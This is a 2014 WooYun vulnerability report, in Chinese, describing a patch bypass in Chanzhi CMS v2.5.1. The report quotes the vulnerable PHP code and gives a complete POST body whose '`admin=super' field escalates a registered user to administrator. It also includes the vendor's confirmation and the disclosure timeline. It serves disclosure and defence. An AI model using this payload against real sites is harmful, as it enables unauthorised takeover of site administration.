当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-073101

漏洞标题:蝉知企业门户系统 v2.5.1 绕过补丁继续注入

相关厂商:chanzhi.org

漏洞作者: roker

提交时间:2014-08-20 09:23

修复时间:2014-11-18 09:24

公开时间:2014-11-18 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-20: 细节已通知厂商并且等待厂商处理中
2014-08-20: 厂商已经确认,细节仅向厂商公开
2014-08-23: 细节向第三方安全合作伙伴开放
2014-10-14: 细节向核心白帽子及相关领域专家公开
2014-10-24: 细节向普通白帽子公开
2014-11-03: 细节向实习白帽子公开
2014-11-18: 细节向公众公开

简要描述:

rt

详细说明:

上次提到过。 WooYun: 蝉知企业门户系统 v2.5 sql 注入至管理员。
/system/module/user/model.php

public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return false;
$password = $this->createPassword($this->post->password1, $account);
$this->post->set('password', $password);
}
$user = fixer::input('post')
->cleanInt('imobile, qq, zipcode')
->setDefault('admin', 'no')
->remove('ip, account, join, visits')
->removeIF(RUN_MODE != 'admin', 'admin')
->get();
return $this->dao->update(TABLE_USER)
->data($user, $skip = 'password1,password2')
->autoCheck()
->batchCheck($this->config->user->require->edit, 'notempty')
->check('email', 'email')
->check('email', 'unique', "account!='$account'")
->checkIF($this->post->gtalk != false, 'gtalk', 'email')
->where('account')->eq($account)
->exec();
}


fixer这个类对admin字段进行了检测
看到
/system/lib/dao/dao.class.php
的data()

*/
public function data($data, $skipFields = '')
{
$this->data = $data;
if($skipFields) $skipFields = ',' . str_replace(' ', '', $skipFields) . ',';
foreach($data as $field => $value)
{
$field = str_replace('`', '', $field);
$field = str_replace(',', '', $field);
if(strpos($skipFields, ",$field,") !== false) continue;
$this->sql .= "`$field` = " . $this->quote($value) . ',';
}
$this->sql = rtrim($this->sql, ','); // Remove the last ','.
return $this;
}


去掉了 `这个符号
我们提交 `admin绕过检测后 ,再进入data()后去掉 `又被还原,
导致 管理员权限的提升
注册用户修改资料 post

realname=aaaaaa'&email=z%40qq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&`admin=super


即可提升至管理员

漏洞证明:

上面说了

修复方案:

过滤。。

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-20 15:28

厂商回复:

谢谢反馈。上次的修复还不够彻底。近期再处理下。

最新状态:

暂无